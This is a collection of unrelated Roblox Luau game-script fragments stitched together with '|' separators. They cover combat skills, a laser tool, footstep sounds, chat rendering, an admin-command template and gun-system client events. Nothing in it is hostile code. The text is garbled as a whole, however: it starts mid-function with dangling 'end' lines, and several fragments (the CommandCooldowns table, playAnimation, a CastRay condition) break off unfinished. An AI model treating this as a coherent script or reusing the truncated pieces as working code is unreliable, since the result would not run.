DbgVisualizeHit(CFrame.new(currentTarget), false)
end
end
|
--[[
Returns first value (success), and packs all following values.
]]
|
local function packResult(success, ...)
return success, select("#", ...), { ... }
end
local function makeErrorHandler(traceback)
assert(traceback ~= nil)
return function(err)
-- If the error object is already a table, forward it directly.
-- Should we extend the error here and add our own trace?
if type(err) == "table" then
return err
end
return Error.new({
error = err,
kind = Error.Kind.ExecutionError,
trace = debug.traceback(tostring(err), 2),
context = "Promise created at:\n\n" .. traceback,
})
end
end
|
-- Private Functions
|
local function defaultButton(index, option)
local button = LIST_BUTTON:Clone()
button.Name = option .. "_button"
button.Label.Text = option
return button
end
|
--- Skill
|
local UIS = game:GetService("UserInputService")
local plr = game.Players.LocalPlayer
local Mouse = plr:GetMouse()
local Debounce = true
Player = game.Players.LocalPlayer
UIS.InputBegan:Connect(function(Input)
if Input.KeyCode == Enum.KeyCode.Z and Debounce == true and Tool.Equip.Value == true and Tool.Active.Value == "None" then
Debounce = false
Tool.Active.Value = "LightBarrage"
Track1 = Player.Character.Humanoid:LoadAnimation(script.Anim01)
Track1:Play()
wait(0.3)
script.Fire:FireServer(plr)
local hum = Player.Character.Humanoid
for i = 1,30 do
wait()
hum.CameraOffset = Vector3.new(
math.random(-1,1),
math.random(-1,1),
math.random(-1,1)
)
end
hum.CameraOffset = Vector3.new(0,0,0)
Tool.Active.Value = "None"
wait(2)
Debounce = true
end
end)
|
--GreenEgg--
|
Event.Hitbox.Touched:Connect(function(hit)
if hit.Parent:IsA("Tool") and hit.Parent.Name == ToolRequired2 then
if game.ReplicatedStorage.ItemSwitching.Value == true then
hit.Parent:Destroy()
end
Event.GreenGear.Transparency = 0
Event.Glass.Insert:Play()
Event.LocksLeft.Value = Event.LocksLeft.Value - 1
script.Disabled = true
end
end)
Event.Hitbox.ClickDetector.MouseClick:Connect(function(plr)
if plr.Backpack:FindFirstChild(ToolRequired2) then
if game.ReplicatedStorage.ItemSwitching.Value == true then
plr.Backpack:FindFirstChild(ToolRequired2):Destroy()
end
Event.GreenGear.Transparency = 0
Event.Glass.Insert:Play()
Event.LocksLeft.Value = Event.LocksLeft.Value - 1
script.Disabled = true
end
end)
|
-- functions
|
function onDied()
stopLoopedSounds()
sDied:Play()
end
local fallCount = 0
local fallSpeed = 0
function onStateFall(state, sound)
fallCount = fallCount + 1
if state then
sound.Volume = 0
sound:Play()
Spawn( function()
local t = 0
local thisFall = fallCount
while t < 1.5 and fallCount == thisFall do
local vol = math.max(t - 0.3 , 0)
sound.Volume = vol
wait(0.1)
t = t + 0.1
end
end)
else
sound:Stop()
end
fallSpeed = math.max(fallSpeed, math.abs(Head.Velocity.Y))
end
function onStateNoStop(state, sound)
if state then
sound:Play()
end
end
function onRunning(speed)
sClimbing:Stop()
sSwimming:Stop()
if (prevState == "FreeFall" and fallSpeed > 0.1) then
local vol = math.min(1.0, math.max(0.0, (fallSpeed - 50) / 110))
sLanding.Volume = vol
sLanding:Play()
fallSpeed = 0
end
if speed>0.5 then
sRunning:Play()
sRunning.Pitch = 1.6
else
sRunning:Stop()
end
prevState = "Run"
end
function onSwimming(speed)
if (prevState ~= "Swim" and speed > 0.1) then
local volume = math.min(1.0, speed / 350)
sSplash.Volume = volume
sSplash:Play()
prevState = "Swim"
end
sClimbing:Stop()
sRunning:Stop()
sSwimming.Pitch = 1.6
sSwimming:Play()
end
function onClimbing(speed)
sRunning:Stop()
sSwimming:Stop()
if speed>0.01 then
sClimbing:Play()
sClimbing.Pitch = speed / 5.5
else
sClimbing:Stop()
end
prevState = "Climb"
end
|
--Rescripted by Luckymaxer
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Debris = game:GetService("Debris")
Speed = 100
Duration = 1
NozzleOffset = Vector3.new(0, 0.4, -1.1)
Sounds = {
Fire = Handle:WaitForChild("Fire"),
Reload = Handle:WaitForChild("Reload"),
HitFade = Handle:WaitForChild("HitFade")
}
PointLight = Handle:WaitForChild("PointLight")
ServerControl = (Tool:FindFirstChild("ServerControl") or Instance.new("RemoteFunction"))
ServerControl.Name = "ServerControl"
ServerControl.Parent = Tool
ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction"))
ClientControl.Name = "ClientControl"
ClientControl.Parent = Tool
ServerControl.OnServerInvoke = (function(player, Mode, Value, arg)
if player ~= Player or Humanoid.Health == 0 or not Tool.Enabled then
return
end
if Mode == "Click" and Value then
Activated(arg)
end
end)
function InvokeClient(Mode, Value)
pcall(function()
ClientControl:InvokeClient(Player, Mode, Value)
end)
end
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
Debris:AddItem(Creator_Tag, 2)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function FindCharacterAncestor(Parent)
if Parent and Parent ~= game:GetService("Workspace") then
local humanoid = Parent:FindFirstChild("Humanoid")
if humanoid then
return Parent, humanoid
else
return FindCharacterAncestor(Parent.Parent)
end
end
return nil
end
function GetTransparentsRecursive(Parent, PartsTable)
local PartsTable = (PartsTable or {})
for i, v in pairs(Parent:GetChildren()) do
local TransparencyExists = false
pcall(function()
local Transparency = v["Transparency"]
if Transparency then
TransparencyExists = true
end
end)
if TransparencyExists then
table.insert(PartsTable, v)
end
GetTransparentsRecursive(v, PartsTable)
end
return PartsTable
end
function SelectionBoxify(Object)
local SelectionBox = Instance.new("SelectionBox")
SelectionBox.Adornee = Object
SelectionBox.Color = BrickColor.new("Really red")
SelectionBox.Parent = Object
return SelectionBox
end
local function Light(Object)
local Light = PointLight:Clone()
Light.Range = (Light.Range + 2)
Light.Parent = Object
end
function FadeOutObjects(Objects, FadeIncrement)
repeat
local LastObject = nil
for i, v in pairs(Objects) do
v.Transparency = (v.Transparency + FadeIncrement)
LastObject = v
end
wait()
until LastObject.Transparency >= 1 or not LastObject
end
function Dematerialize(character, humanoid, FirstPart)
if not character or not humanoid then
return
end
humanoid.WalkSpeed = 0
local Parts = {}
for i, v in pairs(character:GetChildren()) do
if v:IsA("BasePart") then
v.Anchored = true
table.insert(Parts, v)
elseif v:IsA("LocalScript") or v:IsA("Script") then
v:Destroy()
end
end
local SelectionBoxes = {}
local FirstSelectionBox = SelectionBoxify(FirstPart)
Light(FirstPart)
wait(0.05)
for i, v in pairs(Parts) do
if v ~= FirstPart then
table.insert(SelectionBoxes, SelectionBoxify(v))
Light(v)
end
end
local ObjectsWithTransparency = GetTransparentsRecursive(character)
FadeOutObjects(ObjectsWithTransparency, 0.1)
wait(0.5)
character:BreakJoints()
humanoid.Health = 0
Debris:AddItem(character, 2)
local FadeIncrement = 0.05
Delay(0.2, function()
FadeOutObjects({FirstSelectionBox}, FadeIncrement)
if character and character.Parent then
character:Destroy()
end
end)
FadeOutObjects(SelectionBoxes, FadeIncrement)
end
function Touched(Projectile, Hit)
if not Hit or not Hit.Parent then
return
end
local character, humanoid = FindCharacterAncestor(Hit)
if character and humanoid and character ~= Character then
local ForceFieldExists = false
for i, v in pairs(character:GetChildren()) do
if v:IsA("ForceField") then
ForceFieldExists = true
end
end
if not ForceFieldExists then
if Projectile then
local HitFadeSound = Projectile:FindFirstChild(Sounds.HitFade.Name)
local torso = humanoid.Torso
if HitFadeSound and torso then
HitFadeSound.Parent = torso
HitFadeSound:Play()
end
end
Dematerialize(character, humanoid, Hit)
end
if Projectile and Projectile.Parent then
Projectile:Destroy()
end
end
end
function Equipped()
Character = Tool.Parent
Player = Players:GetPlayerFromCharacter(Character)
Humanoid = Character:FindFirstChild("Humanoid")
if not Player or not Humanoid or Humanoid.Health == 0 then
return
end
end
function Activated(target)
if Tool.Enabled and Humanoid.Health > 0 then
Tool.Enabled = false
InvokeClient("PlaySound", Sounds.Fire)
local HandleCFrame = Handle.CFrame
local FiringPoint = HandleCFrame.p + HandleCFrame:vectorToWorldSpace(NozzleOffset)
local ShotCFrame = CFrame.new(FiringPoint, target)
local LaserShotClone = BaseShot:Clone()
LaserShotClone.CFrame = ShotCFrame + (ShotCFrame.lookVector * (BaseShot.Size.Z / 2))
local BodyVelocity = Instance.new("BodyVelocity")
BodyVelocity.velocity = ShotCFrame.lookVector * Speed
BodyVelocity.Parent = LaserShotClone
LaserShotClone.Touched:connect(function(Hit)
if not Hit or not Hit.Parent then
return
end
Touched(LaserShotClone, Hit)
end)
Debris:AddItem(LaserShotClone, Duration)
LaserShotClone.Parent = game:GetService("Workspace")
wait(0.6) -- FireSound length
InvokeClient("PlaySound", Sounds.Reload)
wait(0.75) -- ReloadSound length
Tool.Enabled = true
end
end
function Unequipped()
end
BaseShot = Instance.new("Part")
BaseShot.Name = "Effect"
BaseShot.BrickColor = BrickColor.new("Really red")
BaseShot.Material = Enum.Material.Plastic
BaseShot.Shape = Enum.PartType.Block
BaseShot.TopSurface = Enum.SurfaceType.Smooth
BaseShot.BottomSurface = Enum.SurfaceType.Smooth
BaseShot.FormFactor = Enum.FormFactor.Custom
BaseShot.Size = Vector3.new(0.2, 0.2, 3)
BaseShot.CanCollide = false
BaseShot.Locked = true
SelectionBoxify(BaseShot)
Light(BaseShot)
BaseShotSound = Sounds.HitFade:Clone()
BaseShotSound.Parent = BaseShot
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--// Above was taken directly from Util.GetStringTextBounds() in the old chat corescripts.
|
function methods:GetMessageHeight(BaseMessage, BaseFrame, xSize)
xSize = xSize or BaseFrame.AbsoluteSize.X
local textBoundsSize = self:GetStringTextBounds(BaseMessage.Text, BaseMessage.Font, BaseMessage.TextSize, UDim2.new(0, xSize, 0, 1000))
return textBoundsSize.Y
end
function methods:GetNumberOfSpaces(str, font, textSize)
local strSize = self:GetStringTextBounds(str, font, textSize)
local singleSpaceSize = self:GetStringTextBounds(" ", font, textSize)
return math.ceil(strSize.X / singleSpaceSize.X)
end
function methods:CreateBaseMessage(message, font, textSize, chatColor)
local BaseFrame = self:GetFromObjectPool("Frame")
BaseFrame.Selectable = false
BaseFrame.Size = UDim2.new(1, 0, 0, 18)
BaseFrame.Visible = true
BaseFrame.BackgroundTransparency = 1
local messageBorder = 8
local BaseMessage = self:GetFromObjectPool("TextLabel")
BaseMessage.Selectable = false
BaseMessage.Size = UDim2.new(1, -(messageBorder + 6), 1, 0)
BaseMessage.Position = UDim2.new(0, messageBorder, 0, 0)
BaseMessage.BackgroundTransparency = 1
BaseMessage.Font = font
BaseMessage.TextSize = textSize
BaseMessage.TextXAlignment = Enum.TextXAlignment.Left
BaseMessage.TextYAlignment = Enum.TextYAlignment.Top
BaseMessage.TextTransparency = 0
BaseMessage.TextStrokeTransparency = 0.625
BaseMessage.TextStrokeColor3 = Color3.new( 255/255 , 206/255 , 244/255 )
BaseMessage.TextColor3 = chatColor
BaseMessage.TextWrapped = true
BaseMessage.Text = message
BaseMessage.Visible = true
BaseMessage.Parent = BaseFrame
return BaseFrame, BaseMessage
end
function methods:AddNameButtonToBaseMessage(BaseMessage, nameColor, formatName, playerName)
local speakerNameSize = self:GetStringTextBounds(formatName, BaseMessage.Font, BaseMessage.TextSize)
local NameButton = self:GetFromObjectPool("TextButton")
NameButton.Selectable = false
NameButton.Size = UDim2.new(0, speakerNameSize.X, 0, speakerNameSize.Y)
NameButton.Position = UDim2.new(0, 0, 0, 0)
NameButton.BackgroundTransparency = 1
NameButton.Font = BaseMessage.Font
NameButton.TextSize = BaseMessage.TextSize
NameButton.TextXAlignment = BaseMessage.TextXAlignment
NameButton.TextYAlignment = BaseMessage.TextYAlignment
NameButton.TextTransparency = BaseMessage.TextTransparency
NameButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
NameButton.TextStrokeColor3 = Color3.new( 188/255 , 37/255 , 72/255 )
NameButton.TextColor3 = nameColor
NameButton.Text = formatName
NameButton.Visible = true
NameButton.Parent = BaseMessage
NameButton.MouseButton1Click:connect(function()
self:NameButtonClicked(NameButton, playerName)
end)
return NameButton
end
function methods:AddChannelButtonToBaseMessage(BaseMessage, channelColor, formatChannelName, channelName)
local channelNameSize = self:GetStringTextBounds(formatChannelName, BaseMessage.Font, BaseMessage.TextSize)
local ChannelButton = self:GetFromObjectPool("TextButton")
ChannelButton.Selectable = false
ChannelButton.Size = UDim2.new(0, channelNameSize.X, 0, channelNameSize.Y)
ChannelButton.Position = UDim2.new(0, 0, 0, 0)
ChannelButton.BackgroundTransparency = 1
ChannelButton.Font = BaseMessage.Font
ChannelButton.TextSize = BaseMessage.TextSize
ChannelButton.TextXAlignment = BaseMessage.TextXAlignment
ChannelButton.TextYAlignment = BaseMessage.TextYAlignment
ChannelButton.TextTransparency = BaseMessage.TextTransparency
ChannelButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
ChannelButton.TextColor3 = channelColor
ChannelButton.Text = formatChannelName
ChannelButton.Visible = true
ChannelButton.Parent = BaseMessage
ChannelButton.MouseButton1Click:connect(function()
self:ChannelButtonClicked(ChannelButton, channelName)
end)
return ChannelButton
end
function methods:NameButtonClicked(nameButton, playerName)
if not self.ChatWindow then
return
end
if ChatSettings.ClickOnPlayerNameToWhisper then
local player = Players:FindFirstChild(playerName)
if player and player ~= LocalPlayer then
local whisperChannel = "To " ..playerName
if self.ChatWindow:GetChannel(whisperChannel) then
self.ChatBar:ResetCustomState()
local targetChannelName = self.ChatWindow:GetTargetMessageChannel()
if targetChannelName ~= whisperChannel then
self.ChatWindow:SwitchCurrentChannel(whisperChannel)
end
self.ChatBar:ResetText()
self.ChatBar:CaptureFocus()
elseif not self.ChatBar:IsInCustomState() then
local whisperMessage = "/w " ..playerName
self.ChatBar:CaptureFocus()
self.ChatBar:SetText(whisperMessage)
end
end
end
end
function methods:ChannelButtonClicked(channelButton, channelName)
if not self.ChatWindow then
return
end
if ChatSettings.ClickOnChannelNameToSetMainChannel then
if self.ChatWindow:GetChannel(channelName) then
self.ChatBar:ResetCustomState()
local targetChannelName = self.ChatWindow:GetTargetMessageChannel()
if targetChannelName ~= channelName then
self.ChatWindow:SwitchCurrentChannel(channelName)
end
self.ChatBar:ResetText()
self.ChatBar:CaptureFocus()
end
end
end
function methods:RegisterChatWindow(chatWindow)
self.ChatWindow = chatWindow
self.ChatBar = chatWindow:GetChatBar()
end
function methods:GetFromObjectPool(className)
if self.ObjectPool == nil then
return Instance.new(className)
end
return self.ObjectPool:GetInstance(className)
end
function methods:RegisterObjectPool(objectPool)
self.ObjectPool = objectPool
end
function methods:RegisterGuiRoot(root)
testLabel.Parent = root
end
|
--RGB Colors
|
local redV = 25 --If you want a different color change this. (Must understand RGB)
local greenV = 25
local blueV = 205
|
-- Replica data changes:
|
rev_ReplicaSetValue.OnClientEvent:Connect(ReplicaSetValue) -- (replica_id, {path}, value)
rev_ReplicaSetValues.OnClientEvent:Connect(ReplicaSetValues) -- (replica_id, {path}, {values})
rev_ReplicaArrayInsert.OnClientEvent:Connect(ReplicaArrayInsert) -- (replica_id, {path}, value)
rev_ReplicaArraySet.OnClientEvent:Connect(ReplicaArraySet) -- (replica_id, {path}, index, value)
rev_ReplicaArrayRemove.OnClientEvent:Connect(ReplicaArrayRemove) -- (replica_id, {path}, index)
rev_ReplicaWrite.OnClientEvent:Connect(function(replica_id, func_id, ...) -- (replica_id, func_id, {params})
local replica = Replicas[replica_id]
-- Running function:
WriteFunctionFlag = true
replica._write_lib[func_id](replica, ...)
WriteFunctionFlag = false
-- Signaling listeners:
local listeners = replica._function_listeners[func_id]
if listeners ~= nil then
for _, listener in ipairs(listeners) do
listener(...)
end
end
end)
|
-- recommend waiting for a longer time
|
while task.wait(math.random(10 , 20)) do
--[[
we are requiring the chatService module in the loop because
it might not have loaded before
]]--
if not ChatService then
if ServerScriptService:FindFirstChild("ChatServiceRunner") then
ChatService = require(ServerScriptService.ChatServiceRunner:WaitForChild("ChatService"))
end
end
-- destroying the frame here because cleaning space for new ones
for i , v in pairs(script.Parent:GetChildren()) do
if v:IsA("Frame") then
v:Destroy()
end
end
Arrange()
end
|
--// Easily add new custom commands below (without needing to create a plugin module)
--// You can also use this to overwrite existing commands if you know the command's index (found in the command's respective module within the Adonis MainModule)
|
settings.Commands = {
ExampleCommand1 = { --// The index & table of the command
Prefix = Settings.Prefix; --// The prefix the command will use, this is the ':' in ':ff me'
Commands = {"examplecommand1", "examplealias1", "examplealias2"}; --// A table containing the command strings (the things you chat in-game to run the command, the 'ff' in ':ff me')
Args = {"arg1", "arg2", "etc"}; --// Command arguments, these will be available in order as args[1], args[2], args[3], etc; This is the 'me' in ':ff me'
Description = "Example command";--// The description of the command
AdminLevel = 100; -- Moderators --// The commands minimum admin level; This can also be a table containing specific levels rather than a minimum level: {124, 152, "HeadAdmins", etc};
-- Alternative option: AdminLevel = "Moderators"
Filter = true; --// Should user supplied text passed to this command be filtered automatically? Use this if you plan to display a user-defined message to other players
Hidden = true; --// Should this command be hidden from the command list?
Disabled = true; --// If set to true this command won't be usable.
Function = function(plr: Player, args: {string}, data) --// The command's function; This is the actual code of the command which runs when you run the command
--// "plr" is the player running the command
--// "args" is an array of strings containing command arguments supplied by the user
--// "data" is a table containing information related to the command and the player running it, such as data.PlayerData.Level (the player's admin level) [Refer to API docs]
print("This is 'arg1':", tostring(args[1]))
print("This is 'arg2':", tostring(args[2]))
print("This is 'etc'(arg 3):", tostring(args[3]))
error("this is an example error :o !") --// Errors raised in the function during command execution will be displayed to the user.
end
};
}
settings.CommandCooldowns = {
|
-- Preload animations
|
function playAnimation(animName, transitionTime, humanoid)
local roll = math.random(1, animTable[animName].totalWeight)
local origRoll = roll
local idx = 1
while (roll > animTable[animName][idx].weight) do
roll = roll - animTable[animName][idx].weight
idx = idx + 1
end
|
-------------//Events\\-------------
|
Evt.HitEffect.OnClientEvent:Connect(function(Player,Position, HitPart, Normal, Material,Settings)
if Player ~= plr then
HitMod.HitEffect(Ignore_Model,Position, HitPart, Normal, Material,Settings)
end
end)
Evt.Atirar.OnClientEvent:Connect(function(Player,Arma,Suppressor,FlashHider)
if Player ~= plr and Arma then
if Player.Character:FindFirstChild("S"..Arma.Name) and Player.Character:FindFirstChild('S'..Arma.Name).Handle:FindFirstChild("Muzzle") then
local Muzzle = Player.Character:FindFirstChild("S"..Arma.Name).Handle.Muzzle
if Suppressor then
Muzzle.Supressor:Play()
else
Muzzle.Fire:Play()
end
if FlashHider then
Muzzle["Smoke"]:Emit(10)
else
Muzzle["FlashFX[Flash]"]:Emit(10)
Muzzle["Smoke"]:Emit(10)
end
end
if Player.Character:FindFirstChild("AnimBase") ~= nil and Player.Character.AnimBase:FindFirstChild("AnimBaseW") then
local AnimBase = Player.Character:WaitForChild("AnimBase"):WaitForChild("AnimBaseW")
TS:Create(AnimBase, TweenInfo.new(0.05,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0), {C1 = CFrame.new(0,0,0.15):Inverse()} ):Play()
delay(.1,function()
TS:Create(AnimBase, TweenInfo.new(.05,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0), {C1 = CFrame.new():Inverse()} ):Play()
end)
end
end
end)
Evt.SVLaser.OnClientEvent:Connect(function(Player,Position,Modo,Cor,IR,Arma)
if Player ~= plr and Player.Character and Arma then
if ACS_Workspace.Server:FindFirstChild(Player.Name.."_Laser") == nil then
local Dot = Instance.new('Part',ACS_Workspace.Server)
local Att0 = Instance.new('Attachment',Dot)
Att0.Name = "Att0"
Dot.Name = Player.Name.."_Laser"
Dot.Transparency = 1
if Player.Character:FindFirstChild("S"..Arma.Name) and Player.Character:FindFirstChild('S'..Arma.Name).Handle:FindFirstChild("Muzzle") then
local Muzzle = Player.Character:FindFirstChild("S"..Arma.Name).Handle.Muzzle
local Laser = Instance.new('Beam',Dot)
Laser.Transparency = NumberSequence.new(0)
Laser.LightEmission = 1
Laser.LightInfluence = 0
Laser.Attachment0 = Att0
Laser.Attachment1 = Muzzle
Laser.Color = ColorSequence.new(Cor)
Laser.FaceCamera = true
Laser.Width0 = 0.01
Laser.Width1 = 0.01
if not NVG then
Laser.Enabled = false
end
end
end
if Modo == 1 then
if ACS_Workspace.Server:FindFirstChild(Player.Name.."_Laser") then
local LA = ACS_Workspace.Server:FindFirstChild(Player.Name.."_Laser")
LA.Shape = 'Ball'
LA.Size = Vector3.new(0.2, 0.2, 0.2)
LA.CanCollide = false
LA.Anchored = true
LA.Color = Cor
LA.Material = Enum.Material.Neon
LA.Position = Position
if NVG then
LA.Transparency = 0
if LA:FindFirstChild("Beam") then
LA.Beam.Enabled = true
end
else
if IR then
LA.Transparency = 1
else
LA.Transparency = 0
end
if LA:FindFirstChild("Beam") then
LA.Beam.Enabled = false
end
end
end
elseif Modo == 2 then
if ACS_Workspace.Server:FindFirstChild(Player.Name.."_Laser") then
ACS_Workspace.Server:FindFirstChild(Player.Name.."_Laser"):Destroy()
end
end
end
end)
Evt.SVFlash.OnClientEvent:Connect(function(Player,Arma,Mode)
if Player ~= plr and Player.Character and Arma then
local Weapon = Player.Character:FindFirstChild("S"..Arma.Name)
if Weapon then
if Mode then
for index, Key in pairs(Weapon:GetDescendants()) do
if Key:IsA("BasePart") and Key.Name == "FlashPoint" then
Key.Light.Enabled = true
end
end
else
for index, Key in pairs(Weapon:GetDescendants()) do
if Key:IsA("BasePart") and Key.Name == "FlashPoint" then
Key.Light.Enabled = false
end
end
end
end
end
end)
Evt.Whizz.OnClientEvent:connect(function()
local Som = Instance.new('Sound')
Som.Parent = plr.PlayerGui
Som.SoundId = "rbxassetid://"..WhizzSound[math.random(1,#WhizzSound)]
Som.Volume = 2
Som.PlayOnRemove = true
Som:Destroy()
end)
Evt.MedSys.MedHandler.OnClientEvent:connect(function(Mode)
if Mode == 4 then
local FX = Instance.new('ColorCorrectionEffect')
FX.Parent = cam
TS:Create(FX,TweenInfo.new(.15,Enum.EasingStyle.Linear),{Contrast = -.25}):Play()
delay(.15,function()
TS:Create(FX,TweenInfo.new(1.5,Enum.EasingStyle.Sine,Enum.EasingDirection.In,0,false,0.15),{Contrast = 0}):Play()
Debris:AddItem(FX,1.5)
end)
elseif Mode == 5 then
local FX = Instance.new('ColorCorrectionEffect')
FX.Parent = cam
TS:Create(FX,TweenInfo.new(.15,Enum.EasingStyle.Linear),{Contrast = .5}):Play()
delay(.15,function()
TS:Create(FX,TweenInfo.new(1.5,Enum.EasingStyle.Sine,Enum.EasingDirection.In,0,false,0.15),{Contrast = 0}):Play()
Debris:AddItem(FX,1.5)
end)
elseif Mode == 6 then
local FX = Instance.new('ColorCorrectionEffect')
FX.Parent = cam
TS:Create(FX,TweenInfo.new(.15,Enum.EasingStyle.Linear),{Contrast = -.25}):Play()
delay(.15,function()
TS:Create(FX,TweenInfo.new(60,Enum.EasingStyle.Sine,Enum.EasingDirection.In,0,false,0.15),{Contrast = 0}):Play()
Debris:AddItem(FX,60)
end)
elseif Mode == 7 then
local FX = Instance.new('ColorCorrectionEffect')
FX.Parent = cam
TS:Create(FX,TweenInfo.new(.15,Enum.EasingStyle.Linear),{Contrast = .5}):Play()
delay(.15,function()
TS:Create(FX,TweenInfo.new(30,Enum.EasingStyle.Sine,Enum.EasingDirection.In,0,false,0.15),{Contrast = 0}):Play()
Debris:AddItem(FX,30)
end)
end
end)
Evt.Suppression.OnClientEvent:Connect(function(Mode,Intensity,Tempo)
local SE_GUI = plr.PlayerGui:FindFirstChild("StatusUI")
if plr.Character and plr.Character.Humanoid.Health > 0 and SE_GUI then
if Mode == 1 then
TS:Create(SE_GUI.Efeitos.Suppress,TweenInfo.new(.1),{ImageTransparency = 0, Size = UDim2.fromScale(1,1.15)}):Play()
delay(.1,function()
TS:Create(SE_GUI.Efeitos.Suppress,TweenInfo.new(1,Enum.EasingStyle.Exponential,Enum.EasingDirection.InOut,0,false,0.15),{ImageTransparency = 1,Size = UDim2.fromScale(2,2)}):Play()
end)
elseif Mode == 2 then
local ring = PastaFx.EarRing:Clone()
ring.Parent = plr.PlayerGui
ring.Volume = 0
ring:Play()
Debris:AddItem(ring,Tempo)
TS:Create(ring,TweenInfo.new(.1),{Volume = 2}):Play()
delay(.1,function()
TS:Create(ring,TweenInfo.new(Tempo,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0.15),{Volume = 0}):Play()
end)
TS:Create(SE_GUI.Efeitos.Dirty,TweenInfo.new(.1),{ImageTransparency = 0, Size = UDim2.fromScale(1,1.15)}):Play()
delay(.1,function()
TS:Create(SE_GUI.Efeitos.Dirty,TweenInfo.new(Tempo,Enum.EasingStyle.Exponential,Enum.EasingDirection.InOut,0,false,0.15),{ImageTransparency = 1,Size = UDim2.fromScale(2,2)}):Play()
end)
else
local ring = PastaFx.EarRing:Clone()
ring.Parent = plr.PlayerGui
ring.Volume = 0
ring:Play()
Debris:AddItem(ring,Tempo)
TS:Create(ring,TweenInfo.new(.1),{Volume = 2}):Play()
delay(.1,function()
TS:Create(ring,TweenInfo.new(Tempo,Enum.EasingStyle.Linear,Enum.EasingDirection.InOut,0,false,0.15),{Volume = 0}):Play()
end)
end
end
end)
Evt.GunStance.OnClientEvent:Connect(function(Player,stance,Data)
if not Player or not Player.Character then return; end;
if not Player.Character:FindFirstChild("Humanoid") or Player.Character.Humanoid.Health <= 0 then return; end;
if not Player.Character:FindFirstChild("AnimBase") or not Player.Character.AnimBase:FindFirstChild("RAW") or not Player.Character.AnimBase:FindFirstChild("LAW") then return; end;
local Right_Weld = Player.Character.AnimBase:FindFirstChild("RAW")
local Left_Weld = Player.Character.AnimBase:FindFirstChild("LAW")
if not Right_Weld or not Left_Weld then return; end;
--// Some Yanderedev work over here, huh?
if stance == 0 then
TS:Create(Right_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.SV_RightArmPos} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.SV_LeftArmPos} ):Play()
return;
elseif stance == 2 then
TS:Create(Right_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.RightAim} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.LeftAim} ):Play()
return;
elseif stance == 1 then
TS:Create(Right_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.RightHighReady} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.LeftHighReady} ):Play()
return;
elseif stance == -1 then
TS:Create(Right_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.RightLowReady} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.LeftLowReady} ):Play()
return;
elseif stance == -2 then
TS:Create(Right_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.RightPatrol} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.LeftPatrol} ):Play()
return;
elseif stance == 3 then
TS:Create(Right_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.RightSprint} ):Play()
TS:Create(Left_Weld, TweenInfo.new(.25,Enum.EasingStyle.Sine), {C0 = Data.LeftSprint} ):Play()
return;
end
return;
end)
Evt.HeadRot.OnClientEvent:Connect(function(Player, CF)
if not Player or Player == plr or not Player.Character or not Player.Character:FindFirstChild("Torso") or not Player.Character:FindFirstChild("Head") then return; end;
local Neck = Player.Character.Torso:FindFirstChild("Neck");
if not Neck then return; end;
TS:Create(Neck, TweenInfo.new(.2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out, 0, false, 0), {C1 = CF}):Play()
end)
function CastRay(Bullet)
if not Bullet then return; end;
local Bpos = Bullet.Position
local Bpos2 = Bpos
local recast = false
local raycastResult
local raycastParams = RaycastParams.new()
raycastParams.FilterDescendantsInstances = Ignore_Model
raycastParams.FilterType = Enum.RaycastFilterType.Blacklist
raycastParams.IgnoreWater = true
while Bullet do
Run.Heartbeat:Wait()
if not Bullet.Parent then break; end;
Bpos = Bullet.Position
-- Set an origin and directional vector
raycastResult = workspace:Raycast(Bpos2, (Bpos - Bpos2) * 1, raycastParams)
recast = false
if raycastResult then
local Hit2 = raycastResult.Instance
if Hit2 and (Hit2.Parent:IsA('Accessory') or Hit2.Parent:IsA('Hat') or Hit2.Transparency >= 1 or Hit2.CanCollide == false or Hit2.Name == "Ignorable" or Hit2.Name == "Glass" or Hit2.Name == "Ignore" or Hit2.Parent.Name == "Top" or Hit2.Parent.Name == "Helmet" or Hit2.Parent.Name == "Up" or Hit2.Parent.Name == "Down" or Hit2.Parent.Name == "Face" or Hit2.Parent.Name == "Olho" or Hit2.Parent.Name == "Headset" or Hit2.Parent.Name == "Numero" or Hit2.Parent.Name == "Vest" or Hit2.Parent.Name == "Chest" or Hit2.Parent.Name == "Waist" or Hit2.Parent.Name == "Back" or Hit2.Parent.Name == "Belt" or Hit2.Parent.Name == "Leg1" or Hit2.Parent.Name == "Leg2" or Hit2.Parent.Name == "Arm1" or Hit2.Parent.Name == "Arm2") and Hit2.Name ~= 'Right Arm' and Hit2.Name ~= 'Left Arm' and Hit2.Name ~= 'Right Leg' and Hit2.Name ~= 'Left Leg' and Hit2.Name ~= "UpperTorso" and Hit2.Name ~= "LowerTorso" and Hit2.Name ~= "RightUpperArm" and Hit2.Name ~= "RightLowerArm" and Hit2.Name ~= "RightHand" and Hit2.Name ~= "LeftUpperArm" and Hit2.Name ~= "LeftLowerArm" and Hit2.Name ~= "LeftHand" and Hit2.Name ~= "RightUpperLeg" and Hit2.Name ~= "RightLowerLeg" and 